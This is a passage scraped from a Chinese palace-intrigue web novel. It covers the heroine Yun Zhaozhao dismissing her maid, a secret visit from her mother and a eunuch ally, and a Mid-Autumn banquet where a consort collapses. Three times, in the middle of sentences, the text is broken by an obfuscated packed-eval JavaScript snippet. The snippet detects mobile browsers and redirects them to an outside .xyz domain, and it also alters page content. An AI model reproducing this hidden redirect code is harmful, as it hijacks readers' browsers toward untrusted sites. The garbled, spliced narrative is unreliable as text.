她的语气里仿佛含着一种遭人遗弃和背叛的切肤之痛,云昭昭心里也很不是滋味,她只好说道:“我不是在赶你,只是我确实无法成为你所希冀的可以带你扶摇直上的人,这点金叶子是感念你这些时日待我之心,往后你便离了我昭阳殿,另谋出路吧。” 逐月没有说话,沉默地打开锦袋看了看里面的内容,忽然,她扑通一声跪下道:“娘娘,奴婢错了奴婢错了,求您网开一面,不要让奴婢走,奴婢一定会洗心革面,好好做人!”说着她又连着磕了好几个响头。 不知逐月是真的知错还是只为了留在昭阳殿,云昭昭见状,也只好晓之以理。“你知道么,今日赏菊宴上武安侯说秋儿是被人为害死的,虽然我据理力争,但大多数人都觉得是你害了她,此事尚存疑,你今日又做了那些事,还好我觉察得早,否则酿成大错,谁也救不了你。” 逐月听后睁大眼睛,眼中既是痛苦又是愤怒,“娘娘,那天您和奴婢是一同离开,一同回宫的,您最清楚奴婢根本就没有时间做那种事啊!” 想起之前汀雪说的话,云昭昭问她:“你最近是不是丢了一块绣着蓝雪花图案的素绢手帕?” 逐月闻言惊道:“娘娘如何得知?奴婢那张手帕已经丢失多日了,许是揣在哪身衣服里被浣衣局那群不长眼的给弄丢了吧!” 云昭昭在心里一声叹息,“你的手帕被武安侯捡到了。” 逐月脸色唰地一下变得惨白。 “什么,武安侯?可,可奴婢从那日之后连武安侯的面的没见过啊!” “武安侯是在秋儿落水处,春波河的岸边灌木从中捡到的,”云昭昭尽量让自己的声音保持平静,“秋儿是被人用利器敲晕,再推入水里的,今日宴会上他将手帕当做物证拿了出来,众目睽睽,无法作假。” “可娘娘!奴婢没有,真的没有!” 逐月急得都快哭了,或许是受慑于周徵的严酷刑罚,过去的精明干练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108304|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她脸上已荡然无存。 “事已至此,人们只愿相信自己眼前看到的,就是我说不是你做的也没有用了。” 逐月依然不依不饶地解释道:“娘娘,奴婢是清白的,奴婢没去过什么春波河边,您让人一查便知。” 云昭昭已分不清自己究竟该不该信她,只好摇头道:“我说你去没去过并不重要,此事就算存疑,我也无法再留你,让你另谋出路既是放你走,也是在救你。” “娘娘,可是奴婢,奴婢……”逐月还想替自己辩解。 “别说了!” 云昭昭知道逐月没有将自己的话听进去,她第一次见她嚎啕大哭,哭得脸上的妆都花了,胭脂粉黛顺着泪水将素净的脸蛋糊得斑驳。 她当机立断地狠下心,转过身背对着她道:“你走罢,本宫心意已决,断不能再留你。” 逐月这回没有再争辩,只是断断续续地啜泣着,云昭昭听得心里不知怎的越发苦涩,便又补充道:“本宫会再给予你两个月时间,让你找好下家,但愿你有了新的去处后,我们不会是敌人。” “娘娘……” 云昭昭没有再理会逐月,她听着她不甘的啜泣声,心里很不是滋味,说起来,逐月身上倒与她有些相似之处。但事已至此,她也只能横下这条心。 云昭昭盯着墙上挂的那副《春山夜雪图》,耳边逐月的哭声越来越小,一刻钟后,她听见逐月起身离开,脚步声渐渐地远了,殿内很快恢复了寂静。 她叫来流霜与汀雪,吩咐道:“我已劝逐月另觅他处,你们把昭阳殿所有宫人召集起来,传我的话,若是还有其他想要另谋出路的,每人给十两银子,一并打发,正好趁着这个机会肃清一下昭阳殿的人员。” 流霜与汀雪连声答应,第二天,便有三名太监与两名小宫女主动收拾包裹离开了,剩下的人云昭昭每人又多给了二十两银子,算是一点慰劳。 为了防止逐月在即将到来的中秋夜宴上继续搞事情,云昭昭这回吸取之前的教训,她让流霜盯着她,再让汀雪和另外一名宫女带着银钱,将尚食局并同各宫小厨房内残余的蟹心以高价收购并处理,宫人们见有利可图,就争先恐后地卖给了她们,没过多久,除了尚食局外,各宫小厨房几乎连一只活着的螃蟹都见不到了。 这事儿很快传遍了宫里,甚至还传到了太后的耳朵里,她传了苏嬷嬷来问。云昭昭只说是蟹心大寒,她看了医书发现这东西对女子身体不好,怕有嫔妃误食,太后听了过后还对她的行为表示了赞许。 随着时间慢慢地流逝,原书中改变云家命运的那次中秋夜宴越来越临近了。 虽然裴若桑的死只是让原身云贵妃被打入了冷宫,一个月后她便从冷宫复位回来,但那也只是赵昶为了暂时稳住云家而采用的权宜之计。 原身复位后只收敛了几日,便又仗着自家的权势以及赵昶的故意纵容,在宫里肆意作为。而她却浑然不知,随着朝堂上弹劾云琛与云贵妃的奏折越来越多,原本的“云党”官吏也在周徵掌握的把柄威慑下渐渐屈服倒戈,眼看着云党慢慢大势已去,赵昶终于收起了所布的大网。 昔日茂密根深的大树那时已成枯枝,只要是个人,稍微使一点力气,便能将其推倒; 昔年人人巴不得跨入的云府门第,后来随便一个人路过,都能向内吐一口唾沫; 曾经那些以成为云氏门生为傲的读书人,转瞬便以“除奸邪,清君侧”为口号。 真真应了那句,水满则溢,月满则亏,人心似水,枯荣谁期? 虽然云昭昭这些天,早已对中秋夜宴的剧情烂熟于心,并做好了万全的准备。但随着夜空中那轮月亮越来越明亮,越来越圆满,她也不由地紧张了起来。 29. 提督 几日时间很快过去,转眼即是农历八月十五。 尚在白日里,还未等到这一天中夜色最深邃,月光最明亮的时候,阖宫内外,城楼街市,就已经比平常热闹繁华了数倍。归家的游子,在外的商旅,奔忙的农人全都暂停手头之事,返回京城的家中亦或是聚集在鳞次栉比的街头,道路两侧华灯林立,彩带飘飞。 即使远处深宫,云昭昭也能感受到外面街市上的人声鼎沸,她羡慕不已,只想着有朝一日重获自由后能去看看外面的民生烟火,壮丽河山。 这几日宫里也比平时热闹很多,殿外的宫道上随时都能看见太监宫女匆忙的身影。除了各宫嫔妃能忙里偷闲外,上到皇帝太后,下到洒扫宫女,都在为一年一度的中秋夜宴作着准备。 大周朝历来奉行日月同尊,同乾坤一样,日为阳,月为阴,因此除了拜日仪式外,也有祭月的习俗。 今晚的宫宴恰好分为内外两个场地,外场由皇帝带着皇室宗亲勋贵,文武百官拜月神,念祷文,行焚礼后,在太虚殿内外设席,听曲观舞,饮酒赏月。 与其他宴会不同,唯有中秋夜宴时,远在边陲的戍边将领才能有机会受邀回京,受皇帝的接见嘉赏,也能得以与家人团聚。 而内场则全是女眷,太后携各宫嫔妃,公主命妇,京中各贵族千金于望月殿举行家宴,相比外场的饮酒斗诗,参谋政治,内场的氛围要轻松活络得多,席间交谈话题无非就是女眷间的家长里短,有不少贵妇夫人专门在此时相看未来的儿媳人选,这也是后宫普通嫔妃一年中唯一有机会见到自己母亲的时候。 因为晚上的盛宴,宫里大量闲杂人手都被抽去尚仪局,尚食局等处帮忙了,今日早膳午膳菜式都比平时清减。云昭昭心里装着事情,没什么胃口,只随意吃了点东西充数。 虽然宴会正式开始是在戌时,但按照宫里以往惯例,各宫午时刚过便要开始准备了。 云昭昭与原身不同,她不喜打扮过于张扬,因此入宫后几乎很少穿大红大紫的衣裙,也不爱戴过多的首饰。 但这次不同,内场除了太后,便是她位份最尊,因此她必须要坐在太后身旁的次位,其余人则坐在大殿两侧。尚功局将宫宴的礼服送来时,云昭昭看着那身百蝶飞花的厚重锦袍与嵌满玉石彩宝的沉重冠冕忍不住咋舌,入宫当日的阴影又蒙上心头。 逐月这几日一直将自己关在房内生闷气,云昭昭便也由着她,只让人一天三顿地将饭食放在她房门口,等过几个时辰再差人去拿。今日因为流霜与汀雪要陪同她去赴宴,所以便换了另一个名叫玉绯的二等宫女帮忙看着她。 当云昭昭费劲地换上华服,坐在铜镜前等着宫女为自己梳妆时,守门的小太监突然又来报:“娘娘,外面又有二人说是来服侍娘娘梳妆更衣,一人自称是尚服局的,还有一人自称是尚衣监的。” 这一下午的时间,才送走几个又来了两个,还是不同局的,云昭昭哭笑不得,直感叹宫里宴会流程之繁琐。 “让他们不必进来了,就说已经在准备了,请二位回去吧。”她吩咐道。 没想到那小太监出去了不到半刻钟,又跑回来道:“娘娘,那二人死活都不走,都说领了上头面的命令,不替娘娘打点好便没法回去交差。” 云昭昭无奈,只好说:“那就请二位进来吧。” 不片刻,小太监便来了两个人进来。 走在前面的那名太监看着不过双十出头的岁数,个头高大,容长脸,细眉细眼,神情谨慎,通身甚至还带着点书卷气,而他的身后跟着一名身材娇小的女人,她披着一件宫女统一制式的斗篷,正好被那名太监挡在身后,看不清容貌。 云昭昭打量了他几眼,笑着说:“你看,本宫基本已收拾妥当,公公同这位嬷嬷可以回去复命了吧?” 她说完后过了几秒,那太监却像脚生了根似的,没有半分要走的意思,只是躬身道:“娘娘今晚的礼服甚为贵重,奴才们还要替娘娘好生检查,确认没有问题了才好回去交差。” 云昭昭简直觉得这人好生无礼,她从未听闻过有什么还要检查衣服的规矩,而且就凭这不知身份的两人,凭什么可以轻易检查一个贵妃的着装。 她正要训斥,却发现随着这名太监的躬身,站在他身后的那名女子的脸露了出来。 待看清她的脸后,云昭昭差一点儿便没忍住惊呼了出来! 片刻后,她屏退了殿内所有宫女,终于提着裙子,连走带跑地扑了上前,紧紧拥住她。 “娘!!!” 分别多日,柳氏见到自己朝思暮想的宝贝女儿,也一时间激动得快要哭出来。她放下斗篷的兜帽,伸手一寸一寸,仔仔细细地摩挲着云昭昭的俏脸,恨不得把她的面孔永久镌刻在脑海里。 “昭儿,你瘦了。”柳氏眸中缀着泪花,“娘不在身边,你一个人在宫里,定是流霜和汀雪没有照顾好你。” 云昭昭捧着柳氏的脸,发现她脸上比起原来突然多了不少皱纹,原本乌青的两鬓现在竟像沾了霜似的。 她入宫也才半个多月而已,柳氏本来保养得就好,比同龄妇人看着年轻,怎么会短时间内衰老成这副模样?她走了没多久,难道云府内又发生了什么事情?想到之前被撵出去的管家王良都能公开在府内杀人,大抵云琛和柳氏的日子也不好过。 云昭昭不争气的眼泪几乎是一瞬间就流了下来。 她很少如此感性,但或许是入宫后事情一件接着一件,所有的罪名都指向在她的头上,所以此刻见到给过自己倚仗的家人,哪怕不是亲生的,心里也格外酸涩。 “娘,你怎么……家里可是发生了什么?”云昭昭涩声道。 柳氏轻叹一声,直接略过了她的问题,关切道:“昭儿,你入宫后的事情我和你爹都听说了……好孩子,娘知道你不容易,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108305|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦你了。听说之前你被罚了好几日禁足,他赵昶没有对你做什么吧?” 云昭昭摇了摇头,安慰道:“没有,就是禁足罚我抄了十卷佛经,您就别担心了。” 柳氏黛眉一横,愠怒道:“姓赵的也真是过分了,不就是死了个丫鬟吗,他就这么罚你?他虽然视你爹为眼中钉,可你毕竟只是个女孩子,你爹官场上的事,又跟你有什么关系呢!” 云昭昭苦笑道:“哪能呢,这后宫就是前朝的照影。” 她说完拉着柳氏坐到旁边的贵妃榻上,又亲自为她沏了一杯温热的桂花茶,围着她的手握在手心。 “父亲近日可还好?女儿如今在宫里,可能为他做些什么?” 她不问还好,这一问,柳氏脸上愁云又聚集起来,眼角的鱼尾纹显得更深了。 “哎,他的身子也就那样,你好好在宫里呆着便是,其他的事你都不要操心,你父亲自会应付,娘只希望你这辈子能平平安安,开开心心的。” 说到最后,柳氏的声音有了一丝哽咽。 云昭昭闻言,心里已清楚朝中或是家里多半出了什么事。她看了一眼站在一旁的那名太监,欲言又止。 注意到她的眼神,柳氏向她介绍道:“这位是御马监提督薛炼,统管禁军,他是你父亲的人,今日我能来见你还全倚仗他,你大可放心就是。” 云昭昭有些惊讶地看着他,她记得书里司礼监御马监这两大最关键的宦官机构在赵昶登基后,核心的掌印、提督、监督等人早就换成了他的亲信,却没料到这堂堂禁军提督,换来换去竟还是云琛的人。这也难怪赵昶对云氏一党如此忌惮,登基后费尽心机也要将其一网打尽。 觉察到云昭昭眸中的探究之意,薛炼态度谦卑地解释道:“陛下登基后为掌禁军,已将御马监大换了一批血,现在的掌印太监孙劭,监督谭卓均等人都是陛下一手提拔的,臣也只能暂时与这些人为伍,以陛下亲信自居。” 敢情这人就是在玩无间道啊!云昭昭心想,她看向薛炼的目光不由地多了几分敬佩。 薛炼不敢正视她,只道:“臣少年时在宫里因为打碎了掌事公公屋里的一个花瓶,被打得浑身是血,只剩一口气,扔在宫正司后门外。当时还在任兵部尚书的阁老路过救下了臣,臣才得以保全这条贱命至今日。” 他说着从怀中掏出一块牙牌,郑重地递到云昭昭面前,“阁老昔日救命之恩,臣没齿难忘。这枚牙牌还请娘娘收好,若将来有需要的时候,便可让信得过的人拿着它来御马监找臣。” 柳氏这时也说:“昭儿,你就收下吧,薛炼是信得过的人,将来在宫里头,他也可照应你一二。” 既然柳氏也这么说,云昭昭不敢推脱,只好将那牙牌小心收好,锁进了妆台下的小格里。 这下她终于可以放心地问出自己的疑虑:“娘,你就跟我说实话,家里到底出了什么事?” 30. 舐犊 柳氏知道什么都瞒不住云昭昭了,只好选择性地挑了一些事告诉她。 “你还记得娘身边的王妈妈吧?” 云昭昭知道她说的是王良的媳妇,便点了点头,“当然记得。” 柳氏道:“她陪我嫁给你爹后一直侍奉左右,他们夫妻二人勤劳肯干,在最困难的时候为我们付出良多。可谁知道,后来你爹的官越做越大,云府过往贵客越来越多,那王良便飘了,还不知从哪里学起了官老爷的做派。他本就爱喝酒,从那以后更是毫无节制,也越发地在府里肆意胡为,发现下人们夜里饮酒作乐,便向他们收取所谓的保护费。” “我和你爹这些年念着他们夫妇过去的付出,便睁一只眼闭一只眼,谁曾想他王良的儿子,也是个不争气的,好的不学,倒把那些官家公子哥们的陋习学了个遍,吃喝嫖赌,不学无术,生生地把他爹娘积蓄下的一点家业败了精光。” “所以他们便作了不该做的营生?”云昭昭随口问道,却也心下了然。 柳氏满脸戚然,痛心道:“是,我那陪房,也就是王良他媳妇,也是个没主见的,只一味纵容他们父子。结果为了填补家里的窟窿,王良居然借着每日打酒的功夫,向外面传递了不知道多少你爹的消息。这还是你离家出走那天,那门子不小心透露了他的秘密后,我们才知道的。” 云昭昭闻言想起了那天惊险的一幕,看来还是那天那门子冒死塞进自己手中的那张纸团立了大功。看来她当时担心的一切都是真的,只是不知道云琛有没有所准备。 柳氏接着说:“后来即使是这样,我和你爹也没有赶尽杀绝,只是撤了他夫妻二人的职,将他们一家赶去了城外庄子。结果……” 她说到这里轻哼了一声,面上现出鄙夷之色,“哼,都说由俭入奢易,由奢入俭难。那家人寄生于云府,富贵日子过惯了,怎挨得乡下的清苦日子?为了报复我们,王良便铤而走险,用了更恶毒的法子!” 云昭昭还从未见过柳氏这么温柔的人眼中现出毒蛇般的阴冷,不由地好奇,“什么法子?” “他比任何人都清楚你是我们夫妻二人的心头肉,他想借着这次你入宫的机会,毁了你!” “什么?”云昭昭不解,“毁了我?” “你可还记得你入宫那天所发生的事?中途迎亲的队伍停了接近两刻钟之久。” 云昭昭还记得那天敲响登闻鼓的男人凄惨的哀嚎,以及司礼监汪海去而复返后奇怪的举动,她登时一个激灵。 “那天敲响登闻鼓的不会就是王良吧,”她急切地问,“他是说了什么跟我有关的事吗?” 见她如此聪慧,一点就通,柳氏更加心疼了。 “当时王良被锦衣卫打死的时候,你父亲的学生,霍纪安霍侍郎正好在场,他在当日礼成后就来府里向我们告知此事,那王良简直可笑,死到临头了居然说你是你爹找来假冒的,而我们真正的女儿已经死了!” 云昭昭心里咯噔一下,不过她很快恢复了常色,她人是假的,但这具身子倒是真的,古人又不会理解什么是魂穿,什么是平行时空。 她想了想说:“好啊好啊,‘我’之前病危,差一点儿就让陛下迎个死人进宫了,只要说我是假的,便可引陛下怀疑,再给我们云家安个欺君之罪。” 柳氏没料到她竟能想到这层,不由地赞许道:“是这样的,你爹也是这样说的。” 云昭昭不再接话,安静地凝神细细琢磨,两道好看的柳眉微微蹙着,纤长浓密的羽睫在白玉般的脸蛋上投下一片阴翳。 柳氏从未见过女儿这般认真的神情,从前她偶尔的认真也都是为了赵昶,而现在她为家族考虑,为自己筹谋能如此专注,是真的长大了。 云昭昭没注意柳氏在盯着自己,她沉浸地思索着王良这件事,终于得出结论:“光凭他王良应该是想不出这等阴毒的计谋,定是背后还有人指点,他们一家去了庄子多半入不敷出,背后指点那人一定是给了他们不少好处。那父亲是怎么应对的?” 被她这么一问,柳氏脸上浮起一抹悲色,“你爹本想着找来当时为你诊治的御医郭晋原郭院判商量,但谁曾想到,他数日前病死在了家中。” “这个时候病死?”云昭昭惊诧道。 “是啊。”柳氏说,“你爹也觉得奇怪,但那郭晋原的家眷却一口咬定他是病死的,如今刑部、大理寺、都察院都是赵昶那边的人,与那武安侯一个德行,他也不便让人去查。” “莫不是有人故意为之,在这个节骨眼上为‘我’诊脉的御医又死了,岂不更坐实了我是假的?” 云昭昭之前还觉得奇怪,为什么自己入宫那天夜里,周徵即使冒着大不敬的风险也要到永麟殿来,现在想来,他一定是白天得了风声,才急着来找自己一探虚实的。 “等等,娘你说那王良当日是被锦衣卫打死的?” 柳氏十分肯定,“是啊,霍大人说他在场亲眼见武安侯下令打死王良的,说他乱敲登闻鼓,还污蔑朝臣……” “不对……”云昭昭皱起了眉头。 “有什么不对吗?”柳氏终究是久居内宅的妇人,在这些迂回曲折的线索中找不到头绪。 “很不对。”云昭昭肯定道,“之前告发王良的纸团上说他与锦衣卫有联系,假如这是真的,那便是陛下和周徵那边给他出的主意,让他去击鼓告状,周徵当场打死他也算是将他灭口,毁掉来往证据,到这里也都说得通……但是,既如此,周徵后面为何还要来问我是不是父亲找来入宫的替身?” 柳氏已被她的这番论述绕得彻底晕了,她只得抓住这其中她唯一听出的信息。 “昭儿,你进宫后还同武安侯周徵有来往?” “啊?” 云昭昭这才意识到失言,那日周徵半夜孤身闯入永麟殿的惊险还历历在目,只差一点,他们就要点灯的宫女发现,彻底洗不清了。 不对,他们明明什么都没有。 云昭昭反应过来自己心思里的歧义,脸上火辣辣的。她矢口否认道:“没什么,只偶尔碰面过几次,那人总是看女儿不顺眼,真的好生讨厌!” 柳氏有些狐疑,但还是说:“娘可提醒你啊,你千万要离此人远一些。” 云昭昭闻言,怔怔地看着她,“这怎么说?” 柳氏清了清嗓子,严肃道:“娘也是听你爹说的,此人冷厉恣睢,心志异常坚定,你爹浮沉官场这么多年,还从未见过这样的人,既看不到他心里的欲望,又找不到他身上的弱点。而且他武艺高强,隐匿之术出神入化,能杀人于无形,就像赵昶养的疯狗一样,手上不知道沾了多少鲜血。对了,我记得你爹还说过此人其实是比赵昶更为麻烦的存在,连他都要时时提防,你以后碰见他再小心都不为过。” 云昭昭不得不感叹云琛看人还是精准,周徵正好就是本书最后的大反派。她不敢跟柳氏说自己其实已经跟周徵结下了梁子,只好向她保证:“好,娘,女儿一定会小心提防着他,您就别担心了嘛。” 柳氏忽然又想到了什么,“对了,我想起那武安侯也就比皇帝小一点,却至今尚未成亲,甚至身边连个女人都没有。” 她神情异常严肃,一本正经地告诫道:“这个年纪都未娶妻的男人,大概率不太正常。我儿,虽然你已成了赵昶的嫔妃,但谁说得准呢,你这么漂亮,以防万一,以后还是尽量离他越远越好。” 云昭昭听她这么说,心里觉得特别好笑。 且不说周徵已经有了心上人,甚至为此拒绝了与裴氏联姻的机会,而且就连晴妃都对他似乎暗生情愫,柳氏的担心完全是多余的。 她努力憋着笑道:“好,女儿以后看着他都绕道走,娘,您就别担心了。” 柳氏还是很不放心,一旁的薛炼这时恰到好处地说:“夫人请放心,娘娘聪慧,定能保护好自己,臣也会尽量保证她的安全。” 云昭昭看了他一眼,她与他素不相识,又怎能将身家性命寄托在他身上呢,可柳氏却感慨道:“薛炼,我知道你如今的身份与立场,在宫中行事也十分不易,只是万一有那么一天……我的昭儿就交给你了。” 她的脸上愁云笼罩,语气像是风里无力的游丝,云昭昭握紧她的手,道:“娘,不必说这样不吉利的话,有什么是我能帮到家里的?” 柳氏眸光闪动,自己的女儿仿佛一夜之间就从那个只知儿女情长的刁蛮小姐,成长为了不输男子,愿为家族提供荫蔽的主心骨。 可惜女儿的“成长”来得太迟了些,她一时不知道该是高兴还是不高兴,最后只得摸着她的头道:“昭儿,你就别管了啊。这段时间无论发生什么,你都好生在宫里头呆着,不要轻举妄动,更不要与人为敌,算娘求你了,好不好?” “娘!”云昭昭眼睛发酸,“那您和父亲怎么办?” “能怎么办?”柳氏道,“你爹这些年虽然在外头看来已经权倾朝野,一手遮天,但这也非他所愿,先帝当年委托他以重任,久而久之,身边仰仗他的人也多了,这些人便像蛛丝网一般,越结越大,你爹本想等你安定下来后向赵昶申请告老,彻底隐退,但就算这样,他也不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108306|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过我们云家!” 云家的结局云昭昭比任何人都清楚,若是按照书里的剧情发展,今夜一过,不出半年,到了来年的春天,现在的云府就只剩“朱雀桥边野草花”了。尽管朝中整个云党看似听从云琛的号令,但人心似水,彩云易散,历史的洪流并不会随个人意志的变化而停下。 她只好昧着良心安慰道:“不会有这么一天的。” 柳氏却不为所动,她咬着牙,眼中带着恨意道:“昭儿,你爹已同我商量好了,若是真到了要与他姓赵的鱼死网破的时候,你就将计就计,到时候我们会找个地方立个衣冠冢,证明你根本就不是我们的女儿,你只是我们找来的一个替身。到时候问你什么,你就说自己什么都不知道,还能保住你一条命,薛炼会帮你。” 云昭昭内心感慨万千,看着柳氏那张仿佛苍老了十岁的脸,她再次紧紧拥住了她,被她宽大厚重的锦衣圈着,柳氏的身体在她的怀中显得格外娇小,仿佛需要她的保护。 “我绝不会在宫里坐以待毙,我会想办法。”云昭昭眼含热泪,以一种不容质疑的语气说道。 至少今夜,她已经做好了万全的准备,逐月不会再有机会搞事,纯嫔也不会死,那云家与裴家之间便尚有缓和的余地,至于之后的事,就走一步看一步了。 如今身在古代,云昭昭终于开始理解古代女子的不易,譬如琉璃,过去面对父兄的欺负,她却无法做出实质性的反抗,只能靠主动代替嫡姐入宫来逃离囹圄,从一堵围墙中逃出,躲进另一堵围墙。 而现在的她自己,倘若是个男子,进可在朝堂上挥斥方遒,退可于沙场浴血反抗,为自己的家人争出一方天地。 可她偏生是女子,家里唯一的女子,而云琛和柳氏则与这个时代的其他父母很不一样,他们倾尽所有地保护她,不惜一切地爱护她,只因为她是他们的孩子。 虽然她早已不是属于他们的那个云昭昭,但她依然在心里发誓代替那个云昭昭来保护他们。 他们之间的命运,早已被紧紧捆在了一起。 “娘,你放心。”云昭昭轻轻地说。 殿外的日头越来越斜,白日如流沙般渐渐地逝去。 薛炼和柳氏不可在昭阳殿久待,临走时柳氏亲自为云昭昭绾了髻,之后依依不舍地同她告别。 很快,暮色四合,千万盏琉璃光灯次第点亮,璨如繁星,将朱红的宫墙,金色的阶砖衬得灼灼耀目。阖宫内外,玉壶光转,笙歌骤起,恍若瑶池仙境;京畿上下,火树银花,鱼龙舞跃,恰似不夜天城。 望月殿内,六局女官身着统一的月白色宫装,端着摆盘精致的各色佳肴与时令瓜果鱼贯而入,飘逸的薄纱随着莲步的轻移摇曳出月色般的雾影,宛若月宫里乘云破月而来的仙子。 一众夫人女眷按照身份位次接连入席,殿内衣香鬓影,华服熠熠,一派云蒸霞蔚之景。 比起前朝宴会笙歌曼舞下的暗流涌动,内宫夜宴的氛围算得上平和。 太后只简单说了几句吉利话,便将时间交给大家唠嗑闲谈,甚至殿外的空地上还架起了戏台,请来了戏班子唱戏。 这是一年中各宫嫔妃唯一可以见到自己母亲或是家中女眷的机会。 宫门似海,一朝离家,纵使家中有千万般变化,也难与亲人团聚。 像是宋修媛这样平时难见她好脸色的人,见到自己母亲和妹妹,也像是换了个人似的,弯弯含笑的眉眼衬得她姿容妍丽,巧笑生姿。 纯嫔虽为人做作虚伪,善于逢迎,但今日见到母亲,那泪湿罗衫、梨花带雨的模样也不似往常的惺惺作态。 与前几日的赏菊宴一样,又是云昭昭,易琉璃与独孤晴三人,与周围母女其乐融融的氛围格格不入。 独孤晴是母亲去世的早,独孤旻老将军与亡妻鹣鲽情深,又长居边塞,便一直未曾续弦。 易琉璃也是母亲去世,易安国后来又迎娶了太常寺卿之女,但那时易琉璃已经入宫,因此筵席间二人神情冷淡,态度客套生硬,甚至与陌生人无异。 最后是云昭昭。 无论是刚才的众命妇觐见时间,还是现在的自由活动时间,柳氏都态度冷淡,与之前那个慈爱的母亲派若两人。 云昭昭看向她。 她觉察到她的目光,便会立刻转过脸,同身边的其他贵夫人交谈,只留她一个侧脸。 云昭昭向她走去。 她便又似不经意地转到别处,好像刻意躲着她。 云昭昭知道,这是柳氏在向所有人证明,她不是她的女儿。 31. 圆缺 太后今日心情尚佳,看来之前赏菊宴上的摩擦她并未放在心上,见到云昭昭同柳氏之间神情冷淡,并无互动,便关切询问,云昭昭只好尴尬地回答自己离家还未满一月,同母亲并没有什么要说的。 太后表情平淡,倒也没有说什么,接着转而看向一旁独饮自斟的独孤晴。 独孤晴今日身着一袭淡紫色的曳地水袖百褶凤尾裙,梳着云近香髻,头顶斜插着一支蝙蝠纹镶琉璃珠颤枝金步摇,华彩闪烁,熠熠生辉,手上戴着上次太后送的紫罗兰手镯,宛若一朵孤高的鸢尾,在一众嫔妃间别有一番清丽风姿。 “晴儿,哀家记得你父亲已有两年多未回京城了吧?”太后开口道。 “回娘娘,距离父亲上次离京已有两年又七月。”独孤晴回答道,上次独孤旻的回京还是为了送她入宫。 太后感叹道:“哎,他也是年过花甲的人了,比哀家还要大上好几岁,如今一把年纪还要远赴边陲,尽忠职守,实属不易。你们父女,一个在宫中尽心侍奉,一个在南边为国效力,都是我朝的功臣啊。” 独孤晴谦虚道:“南海倭寇横行肆掠,父亲为国效力乃是应当的,至于臣妾,那更算不上什么了。” 云昭昭在一旁沉默地听着二人的交谈,她插不进去话,反倒像个局外人似的。 不知道为何,从之前的赏菊宴到今天中秋夜宴,她发现太后似乎对独孤晴格外地关心。上次她一直以为是逢着独孤晴生辰,可今日一见她倒觉得太后言语间流露出对独孤晴的欣赏之意,早已超出了其余嫔妃。 太后这时又问:“听说他今日辰时才到京城,下午就去养心殿见了陛下,你们父女难得见上一面,陛下可有叫你过去?” “陛下上午就让人来通知臣妾,臣妾中午同他们一起在养心殿用了午膳,只是后来他们似乎还有军务要商量,臣妾也要忙着准备宴会,未时便回宫了。” 太后点点头道:“哎,你们父女两年多来就见着这两个时辰,真是可怜见的,你父亲可有同你说他何时回去?” “只在京城呆一日便回。”独孤晴说,“父亲逢年过节还有回来的机会,可其余的普通将士就难了。父亲也常说,为将者不可以军功自居,须得谨记这一身功勋,都是踩着不知多少将士的血躯上得来的。” 太后面露感慨之色,又感慨起了在此阖家团圆之日镇守边疆的将士们,不禁捻起佛珠,念了一声佛号。几名坐在下首的太妃忍不住恭维她,说着“太后仁慈,实乃百姓之福”等等的吉利话。 云昭昭也在一旁跟着附和,但心头终究有种说不清的别扭滋味。 宴会进行至一半,尚食局很快端上了各色不同形状,不同馅料的月饼,云昭昭漫不经心地尝了一口,烤得焦黄松软的饼皮,流心的蛋黄,看着很好吃,但味道却同她在现代吃的没有多大差别。 她又尝了一块五仁的,再想挑选时,目光忽地瞥见桌角上不知什么时候端上了一碗蟹肉羹。或许是刚才她光顾着注意柳氏,这才忽略了尚食局的布菜。 看到那碗有些熟悉的汤羹,云昭昭心上的那根弦一下子揪紧了。 然而还来不及让她多想,只听不远处的座席间突然传来一声惊呼,今日打扮得格外明艳的裴若桑,身子像是被抽了丝的柳条一样,软软地歪了下去,好在坐在她身后的长信侯夫人眼疾手快,立马上前扶住了她。 裴若桑的母亲张氏面色如土,她一边连声道谢一边上前确认自己女儿的状况。 而坐在裴若桑身侧的易琉璃见状已经吓得一愣一愣的,她不知是不是看到桌上的蟹肉羹,想起了那日在昭阳殿的情形,便下意识地往云昭昭这边看,目光里尽是求救之意。 云昭昭心知肚明这是书里既定的剧情上演了,她朝易琉璃投以一个安慰的眼神,以示她尽可放心, 现场这一点突如其来的变故在命妇贵女中间引起了一阵不小的骚动。 有人在下面说道:“太后娘娘,纯嫔娘娘好像晕过去了。” 太后闻言明显地舒了口气,她当即吩咐道:“都愣着干什么,派个腿脚利索的,赶紧去请太医!” 偌大的望月殿一时间安静了下来,大家碍于纯嫔的状况,都不敢再高谈阔论,只能低声窃语,现场的气氛一下子变得紧张起来。 